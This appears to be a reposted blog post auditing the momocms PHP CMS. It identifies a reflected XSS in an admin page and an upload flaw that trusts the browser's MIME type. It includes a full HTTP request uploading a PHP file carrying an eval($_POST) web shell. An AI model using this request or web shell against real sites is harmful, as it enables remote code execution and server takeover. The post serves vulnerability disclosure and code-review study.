momocms code audit-PHP Tutorial-php.cn

momocms code audit

WBOY

Release： 2016-08-08 09:30:22

Original

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When I was bored, I saw a popular program on Webmaster Home, so I downloaded it and looked at it.

The front-end $_GET is filtered using the intval() function, and there is nothing to exploit.

There is an xss in the background

at line 96 of

admincreate_sub_product.php

<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET[&#39;id&#39;]; ?>">
							<p>
</span>

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Second: Upload vulnerability

at admin/banner_do.php The code in

is as follows

<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");
if(empty($_SESSION['momocms_admin'])){
	header("Location:./index.php");	
	exit;
}
if($_SESSION['momocms_isAdmin']==1){
if (($_FILES["banner"]["type"] == "image/gif")
|| ($_FILES["banner"]["type"] == "image/jpeg")
|| ($_FILES["banner"]["type"] == "image/png")
|| ($_FILES["banner"]["type"] == "image/pjpeg"))
  {
  if ($_FILES["banner"]["error"] > 0){
    echo "Return Code: " . $_FILES["banner"]["error"] . "<br />";
    }else{
    	if(!is_dir("../resource/slide/images")){
    		mkdir("../resource/slide/images");
    	}
    	 $pos = strrpos($_FILES["banner"]["name"],".");
    	 $back = substr($_FILES["banner"]["name"],$pos);
    	 $_FILES["banner"]["name"] = time().$back;
      move_uploaded_file($_FILES["banner"]["tmp_name"],
      "../resource/slide/images/".  $_FILES["banner"]["name"]);
      $pic="../resource/slide/images/".  $_FILES["banner"]["name"];
      echo '<script>
				parent.document.getElementById("successMsg").style.display="block";
				setTimeout(function(){
				parent.window.location.href="./banner.php";
				},1500);
				</script>';
    }
  }
}
</span>

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You can see that upload to determines the upload type, but does not determine the upload suffix, etc.

So you can construct Content-type: image/jpeg to break through the upload

<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/test/momocms/admin/banner.php
Cookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------13761195204349
Content-Length: 227

-----------------------------13761195204349
Content-Disposition: form-data; name="banner"; filename="1.php"
Content-Type: image/jpeg

<?php eval($_POST[&#39;w&#39;]);?>
-----------------------------13761195204349--


</span>

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